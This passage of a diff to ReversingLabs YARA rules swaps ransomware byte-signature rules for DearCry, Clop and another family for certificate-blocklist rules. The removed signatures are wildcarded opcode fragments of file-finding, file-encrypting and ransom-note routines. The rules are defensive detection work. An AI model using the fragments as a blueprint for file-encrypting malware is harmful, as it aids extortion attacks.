45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? - ?? A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 - ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8B 45 ?? 01 - D0 66 C7 00 ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? - 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 - 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 89 55 - ?? 83 7D ?? ?? 7F ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 77 ?? C7 44 24 ?? ?? ?? ?? ?? 8B - 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 - ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? - 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 45 ?? ?? ?? ?? ?? DF 6D ?? - DD 5D ?? DD 45 ?? DD 05 ?? ?? ?? ?? DF E9 DD D8 76 ?? 8B 45 ?? 89 45 ?? EB ?? C7 45 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 - 7D ?? ?? 75 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC - } - $encrypt_files_p2 = { - 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF - D0 C7 45 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 15 ?? - ?? ?? ?? A1 ?? ?? ?? ?? 8D 4D ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 75 ?? C7 04 24 ?? - ?? ?? ?? A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? - ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? - ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 04 24 ?? ?? ?? ?? A1 - ?? ?? ?? ?? FF D0 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 - 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 75 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 - 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B - 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 - ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? - ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 - 7D ?? ?? 74 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 - 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 - } - $encrypt_files_p3 = { - 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC - ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? - A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? 39 55 ?? 7F ?? 39 55 ?? 7C ?? 39 - 45 ?? 77 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? C7 44 24 - ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? - 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 54 24 ?? 8D 55 ?? 89 54 24 ?? 8B 55 ?? - 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 - 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? C7 44 - 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? 29 45 ?? - 19 55 ?? 83 7D ?? ?? 0F 8F ?? ?? ?? ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 0F 87 ?? ?? ?? - ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 - 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? - ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 - } - $find_files_p1 = { - 55 89 E5 57 53 81 EC ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? C7 44 24 - ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 89 04 24 - E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44 - 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? - 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8B 45 ?? 01 D0 C7 00 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F - 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F B6 95 ?? ?? ?? - ?? 0F B6 05 ?? ?? ?? ?? 0F B6 D2 0F B6 C0 29 C2 89 D0 85 C0 0F 84 ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? - 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 - E0 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? ?? - ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 01 D8 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 - } - $find_files_p2 = { - E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? - 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 - ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D - 50 ?? 8B 45 ?? 01 D0 66 C7 00 ?? ?? A1 ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? - C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 - 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 - } - $find_files_p3 = { - 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 - 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 01 D8 83 - C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B - 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 44 - 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? 89 44 24 - ?? C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 EB ?? 90 EB ?? 90 EB ?? 90 EB ?? 90 EB - ?? 90 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? - 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 - 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $enum_resources_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "1f:9a:ca:06:9a:c1:b6:bf:b0:e1:48:61:ec:85:7b:f6" and 1477440000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Dearcry : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3E9D26Dcf703Ca3B140D7E7Ad48312E2 : INFO FILE { meta: - description = "Yara rule that detects DearCry ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6e2097e0-6495-5185-bbbc-e8168fa0ca7f" - date = "2021-03-12" - modified = "2021-03-12" + id = "3ad650b2-45ea-5324-b8dc-b48094ae2376" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DearCry.yara#L1-L96" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14296-L14312" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "40dde232255018e1bc0aadf2378a7a86a99327d13dda58d8ffc5bb38e164de26" + logic_hash = "d8f70ba61509f3df34705bea0bfcb4cce3e92a33f0f1b65315d886eb5592f152" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "DearCry" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $drop_ransom_note_p1 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? A1 ?? - ?? ?? ?? 53 56 57 33 DB 68 ?? ?? ?? ?? 50 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 1D ?? ?? - ?? ?? 89 1D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 1D ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 89 44 24 ?? E8 - ?? ?? ?? ?? 8B F0 6A ?? 68 ?? ?? ?? ?? 89 74 24 ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? - E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 3B F3 0F 84 ?? ?? ?? ?? 3B FB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 5C 24 ?? B8 ?? ?? ?? ?? 33 F6 8B FF - 38 18 74 ?? 50 E8 ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 C4 ?? 8B D7 8A 08 88 0A 40 42 84 - C9 75 ?? 8B C7 33 F6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 74 ?? 0F BE 14 37 52 E8 ?? - ?? ?? ?? 88 04 37 8B C7 83 C4 ?? 46 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F0 72 ?? - 8B 74 24 ?? 46 89 74 24 ?? 69 F6 ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 3B C3 75 ?? 6A ?? 68 - } - $drop_ransom_note_p2 = { - 89 5C 24 ?? E8 ?? ?? ?? ?? 53 8B F0 53 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 56 89 44 24 - ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8B F8 3B C3 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 85 C0 0F 86 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 53 51 88 5C 24 ?? E8 ?? ?? ?? - ?? 83 C4 ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 8A 44 1C ?? 3C ?? 7C ?? 3C ?? 7E ?? 3C ?? 0F 8C ?? ?? ?? ?? 3C ?? 0F 8F ?? ?? ?? ?? - 0F BE C0 50 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? - 8D 54 24 ?? 52 FF D6 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 8B - 4C 24 ?? 8B 54 24 ?? 8B 44 24 ?? 51 52 50 6A ?? 8D 4C 24 ?? 51 57 E8 ?? ?? ?? ?? 0F - BE 54 1C ?? 68 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? B8 ?? ?? ?? ?? 8D 50 - ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 56 2B C2 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 - E8 ?? ?? ?? ?? 83 C4 ?? 43 81 FB ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 33 DB 57 - } - $find_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 31 45 ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 - A3 ?? ?? ?? ?? 89 65 ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 75 ?? 89 B5 ?? ?? ?? ?? 8B 4D - ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? - ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? ?? ?? ?? 68 - ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? ?? ?? ?? - 8B C6 8D 50 ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 06 ?? ?? 74 ?? 8B C6 8D 50 - ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 06 ?? ?? 74 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? 52 EB ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 6A - ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 8B C6 - 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8D 85 ?? ?? ?? ?? 8D 78 ?? 8A 08 40 84 C9 - 75 ?? 2B C7 03 C2 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 E8 ?? ?? - ?? ?? 83 C4 ?? 8B C3 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 83 F8 ?? 76 ?? B8 ?? ?? ?? - ?? EB ?? 8B C3 8D 50 ?? 8D 64 24 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 53 8D 55 ?? 52 E8 - } - $find_files_p2 = { - 83 C4 ?? 33 FF 8D 45 ?? 8D 50 ?? 90 8A 08 40 84 C9 75 ?? 2B C2 74 ?? EB ?? 8D 49 ?? - 0F BE 44 3D ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 88 44 3D ?? 47 8D 45 ?? 8D 50 ?? 8D A4 24 - ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F8 72 ?? 8D 4D ?? 51 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8A 10 3A - 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB - ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 - E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B - C2 80 7C 30 ?? ?? 74 ?? 8B C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 30 ?? ?? 74 - ?? 8D 85 ?? ?? ?? ?? 50 56 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 EB ?? 8D 95 ?? ?? ?? - ?? 52 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B BD ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 - ?? 68 ?? ?? ?? ?? 6A ?? 8B 9D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 53 57 8B 55 ?? - 52 8D BD ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? - E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? C3 8B 65 ?? C7 45 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 - ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C6 8D 50 ?? 8B FF - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dong Qian" and pe.signatures [ i ] . serial == "3e:9d:26:dc:f7:03:ca:3b:14:0d:7e:7a:d4:83:12:e2" and 1440580240 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_4E2523E76Ea455941E75Fb8240474A75 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "be5e6f35-6177-50bb-82ea-55628acda4c2" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14314-L14330" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "e89f722345fda82fd894d34169d1463997ae1d567d46badbf3138faa04cf8fa4" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $drop_ransom_note_p* ) ) and ( all of ( $find_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "4e:25:23:e7:6e:a4:55:94:1e:75:fb:82:40:47:4a:75" and 1476403200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Clop : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6102468293Ba7308D17Efb43Ad6Bfb58 : INFO FILE { meta: - description = "Yara rule that detects Clop ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0ea63119-3773-5404-b332-8e3966fd35df" - date = "2020-06-26" - modified = "2020-07-15" + id = "bcf0f1cc-44f2-5498-b9d7-9ad3f38e33bc" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Clop.yara#L1-L109" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14332-L14348" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0b63db16a4b1cae27a97d0ff9df692a63f1a11120ffac69c05a5c71fbd224007" + logic_hash = "c1ae1562595ac6515a071a16195b46db6fad4ee0fe9757d366ee78b914e1de7f" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Clop" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 6A ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? - 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 BD ?? - ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? - ?? 51 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? - ?? 8B 88 ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 8B 82 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 8B - 91 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 - ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? - ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? - 68 ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 - ?? 68 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? - 74 ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? - ?? ?? 52 FF 15 - } - $encrypt_files_p2 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 